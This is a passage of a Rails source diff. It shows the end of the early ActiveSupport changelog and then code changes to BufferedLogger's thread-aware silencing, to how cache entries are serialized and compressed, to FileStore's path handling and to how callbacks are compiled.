+ * Object#extend_with_included_modules_from(object) to extend an instance with the modules from another instance
+
+## 1.2.5 (December 13th, 2005) ##
+
+* Become part of Rails 1.0
+
+* Rename Version constant to VERSION. #2802 *Marcel Molina Jr.*
+
+## 1.2.3 (November 7th, 2005) ##
+
+* Change Inflector#constantize to use eval instead of const_get. *Nicholas Seckar*
+
+* Fix const_missing handler to ignore the trailing '.rb' on files when comparing paths. *Nicholas Seckar*
+
+* Define kernel.rb methods in "class Object" instead of "module Kernel" to work around a Windows peculiarity *Sam Stephenson*
+
+* Fix broken tests caused by incomplete loading of active support. *Nicholas Seckar*
+
+* Fix status pluralization bug so status_codes doesn't get pluralized as statuses_code. #2758 *keithm@infused.org*
+
+* Added Kernel#silence_stderr to silence stderr for the duration of the given block *Sam Stephenson*
+
+* Changed Kernel#` to print a message to stderr (like Unix) instead of raising Errno::ENOENT on Win32 *Sam Stephenson*
+
+* Changed 0.blank? to false rather than true since it violates everyone's expectation of blankness. #2518, #2705 *rails@jeffcole.net*
+
+* When loading classes using const_missing, raise a NameError if and only if the file we tried to load was not present. *Nicholas Seckar*
+
+* Added petabytes and exebytes to numeric extensions #2397 *timct@mac.com*
+
+* Added Time#end_of_month to accompany Time#beginning_of_month #2514 *Jens-Christian Fischer*
+
+
+## 1.2.2 (October 26th, 2005) ##
+
+* Set Logger.silencer = false to disable Logger#silence. Useful for debugging fixtures.
+
+* Add title case method to String to do, e.g., 'action_web_service'.titlecase # => 'Action Web Service'. *Marcel Molina Jr.*
+
+
+## 1.2.1 (October 19th, 2005) ##
+
+* Classify generated routing code as framework code to avoid appearing in application traces. *Nicholas Seckar*
+
+* Show all framework frames in the framework trace. *Nicholas Seckar*
+
+
+## 1.2.0 (October 16th, 2005) ##
+
+* Update Exception extension to show the first few framework frames in an application trace. *Nicholas Seckar*
+
+* Added Exception extension to provide support for clean backtraces. *Nicholas Seckar*
+
+* Updated whiny nil to be more concise and useful. *Nicholas Seckar*
+
+* Added Enumerable#first_match *Nicholas Seckar*
+
+* Fixed that Time#change should also reset usec when also resetting minutes #2459 *ikeda@dream.big.or.jp*
+
+* Fix Logger compatibility for distributions that don't keep Ruby and its standard library in sync.
+
+* Replace '%e' from long and short time formats as Windows does not support it. #2344. *Tom Ward <tom@popdog.net>*
+
+* Added to_s(:db) to Range, so you can get "BETWEEN '2005-12-10' AND '2005-12-12'" from Date.new(2005, 12, 10)..Date.new(2005, 12, 12) (and likewise with Times)
+
+* Moved require_library_or_gem into Kernel. #1992 *Michael Schuerig <michael@schuerig.de>*
+
+* Add :rfc822 as an option for Time#to_s (to get rfc822-formatted times)
+
+* Chain the const_missing hook to any previously existing hook so rails can play nicely with rake
+
+* Clean logger is compatible with both 1.8.2 and 1.8.3 Logger. #2263 *Michael Schuerig <michael@schuerig.de>*
+
+* Added native, faster implementations of .blank? for the core types #2286 *skae*
+
+* Fixed clean logger to work with Ruby 1.8.3 Logger class #2245
+
+* Fixed memory leak with Active Record classes when Dependencies.mechanism = :load #1704 *Chris McGrath*
+
+* Fixed Inflector.underscore for use with acronyms, so HTML becomes html instead of htm_l #2173 *k@v2studio.com*
+
+* Fixed dependencies related infinite recursion bug when a controller file does not contain a controller class. Closes #1760. *rcolli2@tampabay.rr.com*
+
+* Fixed inflections for status, quiz, move #2056 *deirdre@deirdre.net*
+
+* Added Hash#reverse_merge, Hash#reverse_merge!, and Hash#reverse_update to ease the use of default options
+
+* Added Array#to_sentence that'll turn ['one', 'two', 'three'] into "one, two, and three" #2157 *Manfred Stienstra*
+
+* Added Kernel#silence_warnings to turn off warnings temporarily for the passed block
+
+* Added String#starts_with? and String#ends_with? #2118 *Thijs van der Vossen*
+
+* Added easy extendability to the inflector through Inflector.inflections (using the Inflector::Inflections singleton class). Examples:
+
+ Inflector.inflections do |inflect|
+ inflect.plural /^(ox)$/i, '\1\2en'
+ inflect.singular /^(ox)en/i, '\1'
+
+ inflect.irregular 'octopus', 'octopi'
+
+ inflect.uncountable "equipment"
+ end
+
+* Added String#at, String#from, String#to, String#first, String#last in ActiveSupport::CoreExtensions::String::Access to ease access to individual characters and substrings in a string serving basically as human names for range access.
+
+* Make Time#last_month work when invoked on the 31st of a month.
+
+* Add Time.days_in_month, and make Time#next_month work when invoked on the 31st of a month
+
+* Fixed that Time#midnight would have a non-zero usec on some platforms #1836
+
+* Fixed inflections of "index/indices" #1766 *damn_pepe@gmail.com*
+
+* Added stripping of _id to String#humanize, so "employee_id" becomes "Employee" #1574 *Justin French*
+
+* Factor Fixnum and Bignum extensions into Integer extensions *Nicholas Seckar*
+
+* Hooked #ordinalize into Fixnum and Bignum classes. *Nicholas Seckar, danp*
+
+* Added Fixnum#ordinalize to turn 1.ordinalize to "1st", 3.ordinalize to "3rd", and 10.ordinalize to "10th" and so on #1724 *paul@cnt.org*
+
+
+## 1.1.1 (11 July, 2005) ##
+
+* Added more efficient implementation of the development mode reset of classes #1638 *Chris McGrath*
+
+
+## 1.1.0 (6 July, 2005) ##
+
+* Fixed conflict with Glue gem #1606 *Rick Olson*
+
+* Added new rules to the Inflector to deal with more unusual plurals mouse/louse => mice/lice, information => information, ox => oxen, virus => viri, archive => archives #1571, #1583, #1490, #1599, #1608 *foamdino@gmail.com/others*
+
+* Fixed memory leak with Object#remove_subclasses_of, which inflicted a Rails application running in development mode with a ~20KB leak per request #1289 *Chris McGrath*
+
+* Made 1.year == 365.25.days to account for leap years. This allows you to do User.find(:all, :conditions => ['birthday > ?', 50.years.ago]) without losing a lot of days. #1488 *tuxie@dekadance.se*
+
+* Added an exception if calling id on nil to WhinyNil #584 *kevin-temp@writesoon.com*
+
+* Added Fix/Bignum#multiple_of? which returns true on 14.multiple_of?(7) and false on 16.multiple_of?(7) #1464 *Thomas Fuchs*
+
+* Added even? and odd? to work with Bignums in addition to Fixnums #1464 *Thomas Fuchs*
+
+* Fixed Time#at_beginning_of_week returned the next Monday instead of the previous one when called on a Sunday #1403 *jean.helou@gmail.com*
+
+* Increased the speed of indifferent hash access by using Hash#default. #1436 *Nicholas Seckar*
+
+* Added that " " is now also blank? (using strip if available)
+
+* Fixed Dependencies so all modules are able to load missing constants #1173 *Nicholas Seckar*
+
+* Fixed the Inflector to underscore strings containing numbers, so Area51Controller becomes area51_controller #1176 *Nicholas Seckar*
+
+* Fixed that HashWithIndifferentAccess stringified all keys including symbols, ints, objects, and arrays #1162 *Nicholas Seckar*
+
+* Fixed Time#last_year to go back in time, not forward #1278 *fabien@odilat.com*
+
+* Fixed the pluralization of analysis to analyses #1295 *seattle@rootimage.msu.edu*
+
+* Fixed that Time.local(2005,12).months_since(1) would raise "ArgumentError: argument out of range" #1311 *jhahn@niveon.com*
+
+* Added silencing to the default Logger class
+
+
+## 1.0.4 (19th April, 2005) ##
+
+* Fixed that in some circumstances controllers outside of modules may have hidden ones inside modules. For example, admin/content might have been hidden by /content. #1075 *Nicholas Seckar*
+
+* Fixed inflection of perspectives and similar words #1045 *Thijs van der Vossen*
+
+* Added Fixnum#even? and Fixnum#odd?
+
+* Fixed problem with classes being required twice. Object#const_missing now uses require_dependency to load files. It used to use require_or_load which would cause models to be loaded twice, which was not good for validations and other class methods #971 *Nicholas Seckar*
+
+
+## 1.0.3 (27th March, 2005) ##
+
+* Fixed Inflector.pluralize to handle capitalized words #932 *Jeremy Kemper*
+
+* Added Object#suppress which allows you to make a saner choice around with exceptions to swallow #980. Example:
+
+ suppress(ZeroDivisionError) { 1/0 }
+
+ ...instead of:
+
+ 1/0 rescue nil # BAD, EVIL, DIRTY.
+
+
+## 1.0.2 (22th March, 2005) ##
+
+* Added Kernel#returning -- a Ruby-ized realization of the K combinator, courtesy of Mikael Brockman.
+
+ def foo
+ returning values = [] do
+ values << 'bar'
+ values << 'baz'
+ end
+ end
+
+ foo # => ['bar', 'baz']
+
+
+## 1.0.1 (7th March, 2005) ##
+
+* Fixed Hash#indifferent_access to also deal with include? and fetch and nested hashes #726 *Nicholas Seckar*
+
+* Added Object#blank? -- see http://redhanded.hobix.com/inspect/objectBlank.html #783 *_why the lucky stiff*
+
+* Added inflection rules for "sh" words, like "wish" and "fish" #755 *phillip@pjbsoftware.com*
+
+* Fixed an exception when using Ajax based requests from Safari because Safari appends a \000 to the post body. Symbols can't have \000 in them so indifferent access would throw an exception in the constructor. Indifferent hashes now use strings internally instead. #746 *Tobias Lütke*
+
+* Added String#to_time and String#to_date for wrapping ParseDate
+
+
+## 1.0.0 (24th February, 2005) ##
+
+* Added TimeZone as the first of a number of value objects that among others Active Record can use rich value objects using composed_of #688 *Jamis Buck*
+
+* Added Date::Conversions for getting dates in different convenient string representations and other objects
+
+* Added Time::Conversions for getting times in different convenient string representations and other objects
+
+* Added Time::Calculations to ask for things like Time.now.tomorrow, Time.now.yesterday, Time.now.months_ago(4) #580 [DP|Flurin]. Examples:
+
+ "Later today" => now.in(3.hours),
+ "Tomorrow morning" => now.tomorrow.change(:hour => 9),
+ "Tomorrow afternoon" => now.tomorrow.change(:hour => 14),
+ "In a couple of days" => now.tomorrow.tomorrow.change(:hour => 9),
+ "Next monday" => now.next_week.change(:hour => 9),
+ "In a month" => now.next_month.change(:hour => 9),
+ "In 6 months" => now.months_since(6).change(:hour => 9),
+ "In a year" => now.in(1.year).change(:hour => 9)
+
+* Upgraded to breakpoint 92 which fixes:
+
+ * overload IRB.parse_opts(), fixes #443
+ => breakpoints in tests work even when running them via rake
+ * untaint handlers, might fix an issue discussed on the Rails ML
+ * added verbose mode to breakpoint_client
+ * less noise caused by breakpoint_client by default
+ * ignored TerminateLineInput exception in signal handler
+ => quiet exit on Ctrl-C
+
+* Fixed Inflector for words like "news" and "series" that are the same in plural and singular #603 [echion], #615 *marcenuc*
+
+* Added Hash#stringify_keys and Hash#stringify_keys!
+
+* Added IndifferentAccess as a way to wrap a hash by a symbol-based store that also can be accessed by string keys
+
+* Added Inflector.constantize to turn "Admin::User" into a reference for the constant Admin::User
+
+* Added that Inflector.camelize and Inflector.underscore can deal with modules like turning "Admin::User" into "admin/user" and back
+
+* Added Inflector.humanize to turn attribute names like employee_salary into "Employee salary". Used by automated error reporting in AR.
+
+* Added availability of class inheritable attributes to the masses #477 *Jeremy Kemper*
+
+ class Foo
+ class_inheritable_reader :read_me
+ class_inheritable_writer :write_me
+ class_inheritable_accessor :read_and_write_me
+ class_inheritable_array :read_and_concat_me
+ class_inheritable_hash :read_and_update_me
+ end
+
+ # Bar gets a clone of (not a reference to) Foo's attributes.
+ class Bar < Foo
+ end
+
+ Bar.read_and_write_me == Foo.read_and_write_me
+ Bar.read_and_write_me = 'bar'
+ Bar.read_and_write_me != Foo.read_and_write_me
+
+* Added Inflections as an extension on String, so Inflector.pluralize(Inflector.classify(name)) becomes name.classify.pluralize #476 *Jeremy Kemper*
+
+* Added Byte operations to Numeric, so 5.5.megabytes + 200.kilobytes #461 *Marcel Molina Jr.*
+
+* Fixed that Dependencies.reload can't load the same file twice #420 *Kent Sibilev*
+
+* Added Fixnum#ago/until, Fixnum#since/from_now #450 *Jeremy Kemper*
+
+* Added that Inflector now accepts Symbols and Classes by calling .to_s on the word supplied
+
+* Added time unit extensions to Fixnum that'll return the period in seconds, like 2.days + 4.hours.
diff --git a/activesupport/README.rdoc b/activesupport/README.rdoc
index a38ad76f43..1ab8e00608 100644
--- a/activesupport/README.rdoc
+++ b/activesupport/README.rdoc
@@ -8,13 +8,13 @@ outside of Rails.
== Download and installation
-The latest version of Active Support can be installed with Rubygems:
+The latest version of Active Support can be installed with RubyGems:
% [sudo] gem install activesupport
Source code can be downloaded as part of the Rails project on GitHub
-* https://github.com/rails/rails/tree/master/activesupport/
+* https://github.com/rails/rails/tree/master/activesupport
== License
diff --git a/activesupport/activesupport.gemspec b/activesupport/activesupport.gemspec
index 2ee6bb788a..70d17fb580 100644
--- a/activesupport/activesupport.gemspec
+++ b/activesupport/activesupport.gemspec
@@ -13,7 +13,7 @@ Gem::Specification.new do |s|
s.email = 'david@loudthinking.com'
s.homepage = 'http://www.rubyonrails.org'
- s.files = Dir['CHANGELOG', 'MIT-LICENSE', 'README.rdoc', 'lib/**/*']
+ s.files = Dir['CHANGELOG.md', 'MIT-LICENSE', 'README.rdoc', 'lib/**/*']
s.require_path = 'lib'
s.add_dependency('i18n', '~> 0.6')
diff --git a/activesupport/lib/active_support.rb b/activesupport/lib/active_support.rb
index cc9ea5cffa..ff78e718f2 100644
--- a/activesupport/lib/active_support.rb
+++ b/activesupport/lib/active_support.rb
@@ -71,6 +71,7 @@ module ActiveSupport
autoload :OrderedOptions
autoload :Rescuable
autoload :StringInquirer
+ autoload :TaggedLogging
autoload :XmlMini
end
diff --git a/activesupport/lib/active_support/buffered_logger.rb b/activesupport/lib/active_support/buffered_logger.rb
index 26412cd7f4..136e245859 100644
--- a/activesupport/lib/active_support/buffered_logger.rb
+++ b/activesupport/lib/active_support/buffered_logger.rb
@@ -25,22 +25,28 @@ module ActiveSupport
# Silences the logger for the duration of the block.
def silence(temporary_level = ERROR)
if silencer
+ old_logger_level = @tmp_levels[Thread.current]
begin
- old_logger_level, self.level = level, temporary_level
+ @tmp_levels[Thread.current] = temporary_level
yield self
ensure
- self.level = old_logger_level
+ if old_logger_level
+ @tmp_levels[Thread.current] = old_logger_level
+ else
+ @tmp_levels.delete(Thread.current)
+ end
end
else
yield self
end
end
- attr_accessor :level
+ attr_writer :level
attr_reader :auto_flushing
def initialize(log, level = DEBUG)
@level = level
+ @tmp_levels = {}
@buffer = Hash.new { |h,k| h[k] = [] }
@auto_flushing = 1
@guard = Mutex.new
@@ -62,8 +68,12 @@ module ActiveSupport
end
end
+ def level
+ @tmp_levels[Thread.current] || @level
+ end
+
def add(severity, message = nil, progname = nil, &block)
- return if @level > severity
+ return if level > severity
message = (message || (block && block.call) || progname).to_s
# If a newline is necessary then create a new message ending with a newline.
# Ensures that the original message is not mutated.
@@ -84,7 +94,7 @@ module ActiveSupport
end # end
def #{severity.downcase}? # def debug?
- #{severity} >= @level # DEBUG >= @level
+ #{severity} >= level # DEBUG >= @level
end # end
EOT
end
@@ -105,13 +115,15 @@ module ActiveSupport
def flush
@guard.synchronize do
- buffer.each do |content|
- @log.write(content)
- end
+ write_buffer(buffer)
# Important to do this even if buffer was empty or else @buffer will
# accumulate empty arrays for each request where nothing was logged.
clear_buffer
+
+ # Clear buffers associated with dead threads or else spawned threads
+ # that don't call flush will result in a memory leak.
+ flush_dead_buffers
end
end
@@ -133,5 +145,21 @@ module ActiveSupport
def clear_buffer
@buffer.delete(Thread.current)
end
+
+ # Find buffers created by threads that are no longer alive and flush them to the log
+ # in order to prevent memory leaks from spawned threads.
+ def flush_dead_buffers #:nodoc:
+ @buffer.keys.reject{|thread| thread.alive?}.each do |thread|
+ buffer = @buffer[thread]
+ write_buffer(buffer)
+ @buffer.delete(thread)
+ end
+ end
+
+ def write_buffer(buffer)
+ buffer.each do |content|
+ @log.write(content)
+ end
+ end
end
end
diff --git a/activesupport/lib/active_support/cache.rb b/activesupport/lib/active_support/cache.rb
index ac88c82709..07f5fcdeb3 100644
--- a/activesupport/lib/active_support/cache.rb
+++ b/activesupport/lib/active_support/cache.rb
@@ -16,8 +16,6 @@ module ActiveSupport
autoload :FileStore, 'active_support/cache/file_store'
autoload :MemoryStore, 'active_support/cache/memory_store'
autoload :MemCacheStore, 'active_support/cache/mem_cache_store'
- autoload :SynchronizedMemoryStore, 'active_support/cache/synchronized_memory_store'
- autoload :CompressedMemCacheStore, 'active_support/cache/compressed_mem_cache_store'
# These options mean something to all cache implementations. Individual cache
# implementations may support additional options.
@@ -27,75 +25,75 @@ module ActiveSupport
autoload :LocalCache, 'active_support/cache/strategy/local_cache'
end
- # Creates a new CacheStore object according to the given options.
- #
- # If no arguments are passed to this method, then a new
- # ActiveSupport::Cache::MemoryStore object will be returned.
- #
- # If you pass a Symbol as the first argument, then a corresponding cache
- # store class under the ActiveSupport::Cache namespace will be created.
- # For example:
- #
- # ActiveSupport::Cache.lookup_store(:memory_store)
- # # => returns a new ActiveSupport::Cache::MemoryStore object
- #
- # ActiveSupport::Cache.lookup_store(:mem_cache_store)
- # # => returns a new ActiveSupport::Cache::MemCacheStore object
- #
- # Any additional arguments will be passed to the corresponding cache store
- # class's constructor:
- #
- # ActiveSupport::Cache.lookup_store(:file_store, "/tmp/cache")
- # # => same as: ActiveSupport::Cache::FileStore.new("/tmp/cache")
- #
- # If the first argument is not a Symbol, then it will simply be returned:
- #
- # ActiveSupport::Cache.lookup_store(MyOwnCacheStore.new)
- # # => returns MyOwnCacheStore.new
- def self.lookup_store(*store_option)
- store, *parameters = *Array.wrap(store_option).flatten
-
- case store
- when Symbol
- store_class_name = store.to_s.camelize
- store_class =
- begin
- require "active_support/cache/#{store}"
- rescue LoadError => e
- raise "Could not find cache store adapter for #{store} (#{e})"
- else
- ActiveSupport::Cache.const_get(store_class_name)
- end
- store_class.new(*parameters)
- when nil
- ActiveSupport::Cache::MemoryStore.new
- else
- store
+ class << self
+ # Creates a new CacheStore object according to the given options.
+ #
+ # If no arguments are passed to this method, then a new
+ # ActiveSupport::Cache::MemoryStore object will be returned.
+ #
+ # If you pass a Symbol as the first argument, then a corresponding cache
+ # store class under the ActiveSupport::Cache namespace will be created.
+ # For example:
+ #
+ # ActiveSupport::Cache.lookup_store(:memory_store)
+ # # => returns a new ActiveSupport::Cache::MemoryStore object
+ #
+ # ActiveSupport::Cache.lookup_store(:mem_cache_store)
+ # # => returns a new ActiveSupport::Cache::MemCacheStore object
+ #
+ # Any additional arguments will be passed to the corresponding cache store
+ # class's constructor:
+ #
+ # ActiveSupport::Cache.lookup_store(:file_store, "/tmp/cache")
+ # # => same as: ActiveSupport::Cache::FileStore.new("/tmp/cache")
+ #
+ # If the first argument is not a Symbol, then it will simply be returned:
+ #
+ # ActiveSupport::Cache.lookup_store(MyOwnCacheStore.new)
+ # # => returns MyOwnCacheStore.new
+ def lookup_store(*store_option)
+ store, *parameters = *Array.wrap(store_option).flatten
+
+ case store
+ when Symbol
+ store_class_name = store.to_s.camelize
+ store_class =
+ begin
+ require "active_support/cache/#{store}"
+ rescue LoadError => e
+ raise "Could not find cache store adapter for #{store} (#{e})"
+ else
+ ActiveSupport::Cache.const_get(store_class_name)
+ end
+ store_class.new(*parameters)
+ when nil
+ ActiveSupport::Cache::MemoryStore.new
+ else
+ store
+ end
end
- end
- def self.expand_cache_key(key, namespace = nil)
- expanded_cache_key = namespace ? "#{namespace}/" : ""
+ def expand_cache_key(key, namespace = nil)
+ expanded_cache_key = namespace ? "#{namespace}/" : ""
+
+ prefix = ENV["RAILS_CACHE_ID"] || ENV["RAILS_APP_VERSION"]
+ if prefix
+ expanded_cache_key << "#{prefix}/"
+ end
- prefix = ENV["RAILS_CACHE_ID"] || ENV["RAILS_APP_VERSION"]
- if prefix
- expanded_cache_key << "#{prefix}/"
+ expanded_cache_key << retrieve_cache_key(key)
+ expanded_cache_key
end
- expanded_cache_key <<
- if key.respond_to?(:cache_key)
- key.cache_key
- elsif key.is_a?(Array)
- if key.size > 1
- key.collect { |element| expand_cache_key(element) }.to_param
- else
- key.first.to_param
- end
- elsif key
- key.to_param
- end.to_s
+ private
- expanded_cache_key
+ def retrieve_cache_key(key)
+ case
+ when key.respond_to?(:cache_key) then key.cache_key
+ when key.is_a?(Array) then key.map { |element| retrieve_cache_key(element) }.to_param
+ else key.to_param
+ end.to_s
+ end
end
# An abstract cache store class. There are multiple cache store
@@ -141,7 +139,7 @@ module ActiveSupport
# large enough to warrant compression. To turn on compression either pass
# <tt>:compress => true</tt> in the initializer or as an option to +fetch+
# or +write+. To specify the threshold at which to compress values, set the
- # <tt>:compress_threshold</tt> option. The default threshold is 32K.
+ # <tt>:compress_threshold</tt> option. The default threshold is 16K.
class Store
cattr_accessor :logger, :instance_writer => true
@@ -151,7 +149,7 @@ module ActiveSupport
# Create a new cache. The options will be passed to any write method calls except
# for :namespace which can be used to set the global namespace for the cache.
- def initialize (options = nil)
+ def initialize(options = nil)
@options = options ? options.dup : {}
end
@@ -232,7 +230,7 @@ module ActiveSupport
# <tt>:race_condition_ttl</tt> does not play any role.
#
# # Set all values to expire after one minute.
- # cache = ActiveSupport::Cache::MemoryCache.new(:expires_in => 1.minute)
+ # cache = ActiveSupport::Cache::MemoryStore.new(:expires_in => 1.minute)
#
# cache.write("foo", "original value")
# val_1 = nil
@@ -347,7 +345,7 @@ module ActiveSupport
entry = read_entry(key, options)
if entry
if entry.expired?
- delete_entry(key)
+ delete_entry(key, options)
else
results[name] = entry.value
end
@@ -540,11 +538,11 @@ module ActiveSupport
# Create an entry with internal attributes set. This method is intended to be
# used by implementations that store cache entries in a native format instead
# of as serialized Ruby objects.
- def create (raw_value, created_at, options = {})
+ def create(raw_value, created_at, options = {})
entry = new(nil)
entry.instance_variable_set(:@value, raw_value)
entry.instance_variable_set(:@created_at, created_at.to_f)
- entry.instance_variable_set(:@compressed, !!options[:compressed])
+ entry.instance_variable_set(:@compressed, options[:compressed])
entry.instance_variable_set(:@expires_in, options[:expires_in])
entry
end
@@ -557,15 +555,14 @@ module ActiveSupport
@expires_in = options[:expires_in]
@expires_in = @expires_in.to_f if @expires_in
@created_at = Time.now.to_f
- if defined?(value)
- if should_compress?(value, options)
- @value = Zlib::Deflate.deflate(Marshal.dump(value))
+ if value.nil?
+ @value = nil
+ else
+ @value = Marshal.dump(value)
+ if should_compress?(@value, options)
+ @value = Zlib::Deflate.deflate(@value)
@compressed = true
- else
- @value = value
end
- else
- @value = nil
end
end
@@ -576,12 +573,11 @@ module ActiveSupport
# Get the value stored in the cache.
def value
- if defined?(@value)
- val = compressed? ? Marshal.load(Zlib::Inflate.inflate(@value)) : @value
- unless val.frozen?
- val.freeze rescue nil
- end
- val
+ # If the original value was exactly false @value is still true because
+ # it is marshalled and eventually compressed. Both operations yield
+ # strings.
+ if @value
+ Marshal.load(compressed? ? Zlib::Inflate.inflate(@value) : @value)
end
end
@@ -614,21 +610,16 @@ module ActiveSupport
def size
if @value.nil?
0
- elsif @value.respond_to?(:bytesize)
- @value.bytesize
else
- Marshal.dump(@value).bytesize
+ @value.bytesize
end
end
private
- def should_compress?(value, options)
- if options[:compress] && value
- unless value.is_a?(Numeric)
- compress_threshold = options[:compress_threshold] || DEFAULT_COMPRESS_LIMIT
- serialized_value = value.is_a?(String) ? value : Marshal.dump(value)
- return true if serialized_value.size >= compress_threshold
- end
+ def should_compress?(serialized_value, options)
+ if options[:compress]
+ compress_threshold = options[:compress_threshold] || DEFAULT_COMPRESS_LIMIT
+ return true if serialized_value.size >= compress_threshold
end
false
end
diff --git a/activesupport/lib/active_support/cache/file_store.rb b/activesupport/lib/active_support/cache/file_store.rb
index f7c01948b4..9460532af0 100644
--- a/activesupport/lib/active_support/cache/file_store.rb
+++ b/activesupport/lib/active_support/cache/file_store.rb
@@ -8,11 +8,13 @@ module ActiveSupport
# A cache store implementation which stores everything on the filesystem.
#
# FileStore implements the Strategy::LocalCache strategy which implements
- # an in memory cache inside of a block.
+ # an in-memory cache inside of a block.
class FileStore < Store
attr_reader :cache_path
DIR_FORMATTER = "%03X"
+ FILENAME_MAX_SIZE = 230 # max filename size on file system is 255, minus room for timestamp and random characters appended by Tempfile (used by atomic write)
+ EXCLUDED_DIRS = ['.', '..'].freeze
def initialize(cache_path, options = nil)
super(options)
@@ -21,7 +23,7 @@ module ActiveSupport
end
def clear(options = nil)
- root_dirs = Dir.entries(cache_path).reject{|f| f.in?(['.', '..'])}
+ root_dirs = Dir.entries(cache_path).reject{|f| f.in?(EXCLUDED_DIRS)}
FileUtils.rm_r(root_dirs.collect{|f| File.join(cache_path, f)})
end
@@ -129,15 +131,13 @@ module ActiveSupport
hash, dir_1 = hash.divmod(0x1000)
dir_2 = hash.modulo(0x1000)
fname_paths = []
- # Make sure file name is < 255 characters so it doesn't exceed file system limits.
- if fname.size <= 255
- fname_paths << fname
- else
- while fname.size <= 255
- fname_path << fname[0, 255]
- fname = fname[255, -1]
- end
- end
+
+ # Make sure file name doesn't exceed file system limits.
+ begin
+ fname_paths << fname[0, FILENAME_MAX_SIZE]
+ fname = fname[FILENAME_MAX_SIZE..-1]
+ end until fname.blank?
+
File.join(cache_path, DIR_FORMATTER % dir_1, DIR_FORMATTER % dir_2, *fname_paths)
end
@@ -150,7 +150,7 @@ module ActiveSupport
# Delete empty directories in the cache.
def delete_empty_directories(dir)
return if dir == cache_path
- if Dir.entries(dir).reject{|f| f.in?(['.', '..'])}.empty?
+ if Dir.entries(dir).reject{|f| f.in?(EXCLUDED_DIRS)}.empty?
File.delete(dir) rescue nil
delete_empty_directories(File.dirname(dir))
end
@@ -162,8 +162,9 @@ module ActiveSupport
end
def search_dir(dir, &callback)
+ return if !File.exist?(dir)
Dir.foreach(dir) do |d|
- next if d == "." || d == ".."
+ next if d.in?(EXCLUDED_DIRS)
name = File.join(dir, d)
if File.directory?(name)
search_dir(name, &callback)
diff --git a/activesupport/lib/active_support/cache/mem_cache_store.rb b/activesupport/lib/active_support/cache/mem_cache_store.rb
index e07294178b..530839b24d 100644
--- a/activesupport/lib/active_support/cache/mem_cache_store.rb
+++ b/activesupport/lib/active_support/cache/mem_cache_store.rb
@@ -11,7 +11,7 @@ require 'active_support/core_ext/string/encoding'
module ActiveSupport
module Cache
# A cache store implementation which stores data in Memcached:
- # http://www.danga.com/memcached/
+ # http://memcached.org/
#
# This is currently the most popular cache store for production websites.
#
@@ -21,7 +21,7 @@ module ActiveSupport
# server goes down, then MemCacheStore will ignore it until it comes back up.
#
# MemCacheStore implements the Strategy::LocalCache strategy which implements
- # an in memory cache inside of a block.
+ # an in-memory cache inside of a block.
class MemCacheStore < Store
module Response # :nodoc:
STORED = "STORED\r\n"
diff --git a/activesupport/lib/active_support/cache/strategy/local_cache.rb b/activesupport/lib/active_support/cache/strategy/local_cache.rb
index 0649a058aa..db5f228a70 100644
--- a/activesupport/lib/active_support/cache/strategy/local_cache.rb
+++ b/activesupport/lib/active_support/cache/strategy/local_cache.rb
@@ -4,9 +4,9 @@ require 'active_support/core_ext/string/inflections'
module ActiveSupport
module Cache
module Strategy
- # Caches that implement LocalCache will be backed by an in memory cache for the
+ # Caches that implement LocalCache will be backed by an in-memory cache for the
# duration of a block. Repeated calls to the cache for the same key will hit the
- # in memory cache for faster access.
+ # in-memory cache for faster access.
module LocalCache
# Simple memory backed cache. This cache is not thread safe and is intended only
# for serving as a temporary memory cache for a single thread.
diff --git a/activesupport/lib/active_support/callbacks.rb b/activesupport/lib/active_support/callbacks.rb
index 656cba625c..11069301f1 100644
--- a/activesupport/lib/active_support/callbacks.rb
+++ b/activesupport/lib/active_support/callbacks.rb
@@ -81,6 +81,14 @@ module ActiveSupport
send("_run_#{kind}_callbacks", *args, &block)
end
+ private
+
+ # A hook invoked everytime a before callback is halted.
+ # This can be overriden in AS::Callback implementors in order
+ # to provide better debugging/logging.
+ def halted_callback_hook(filter)
+ end
+
class Callback #:nodoc:#
@@_callback_sequence = 0
@@ -153,7 +161,7 @@ module ActiveSupport
@klass.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
def _one_time_conditions_valid_#{@callback_id}?
- true #{key_options[0]}
+ true if #{key_options}
end
RUBY_EVAL
end
@@ -171,18 +179,18 @@ module ActiveSupport
# if condition # before_save :filter_name, :if => :condition
# filter_name
# end
- filter = <<-RUBY_EVAL
- unless halted
- # This double assignment is to prevent warnings in 1.9.3. I would
- # remove the `result` variable, but apparently some other
- # generated code is depending on this variable being set sometimes
- # and sometimes not.
+ <<-RUBY_EVAL
+ if !halted && #{@compiled_options}
+ # This double assignment is to prevent warnings in 1.9.3 as
+ # the `result` variable is not always used except if the
+ # terminator code refers to it.
result = result = #{@filter}
halted = (#{chain.config[:terminator]})
+ if halted
+ halted_callback_hook(#{@raw_filter.inspect.inspect})
+ end
end
RUBY_EVAL
-
- [@compiled_options[0], filter, @compiled_options[1]].compact.join("\n")
when :around
# Compile around filters with conditions into proxy methods
# that contain the conditions.
@@ -202,7 +210,7 @@ module ActiveSupport
name = "_conditional_callback_#{@kind}_#{next_id}"
@klass.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
def #{name}(halted)
- #{@compiled_options[0] || "if true"} && !halted
+ if #{@compiled_options} && !halted
#{@filter} do
yield self
end
@@ -222,10 +230,12 @@ module ActiveSupport
case @kind
when :after
- # if condition # after_save :filter_name, :if => :condition
- # filter_name
- # end
- [@compiled_options[0], @filter, @compiled_options[1]].compact.join("\n")
+ # after_save :filter_name, :if => :condition
+ <<-RUBY_EVAL
+ if #{@compiled_options}
+ #{@filter}
+ end
+ RUBY_EVAL
when :around
<<-RUBY_EVAL
value
@@ -240,9 +250,7 @@ module ActiveSupport
# symbols, string, procs, and objects), so compile a conditional
# expression based on the options
def _compile_options(options)
- return [] if options[:if].empty? && options[:unless].empty?
-
- conditions = []
+ conditions = ["true"]
unless options[:if].empty?
conditions << Array.wrap(_compile_filter(options[:if]))
@@ -252,7 +260,7 @@ module ActiveSupport
conditions << Array.wrap(_compile_filter(options[:unless])).map {|f| "!#{f}"}
end
- ["if #{conditions.flatten.join(" && ")}", "end"]
+ conditions.flatten.join(" && ")
end
# Filters support:
@@ -371,42 +379,37 @@ module ActiveSupport
# Generate the internal runner method called by +run_callbacks+.
def __define_runner(symbol) #:nodoc:
body = send("_#{symbol}_callbacks").compile
+ runner_method = "_run_#{symbol}_callbacks"
silence_warnings do
- undef_method "_run_#{symbol}_callbacks" if method_defined?("_run_#{symbol}_callbacks")
+ undef_method runner_method if method_defined?(runner_method)
class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
- def _run_#{symbol}_callbacks(key = nil, &blk)
+ def #{runner_method}(key = nil, &blk)
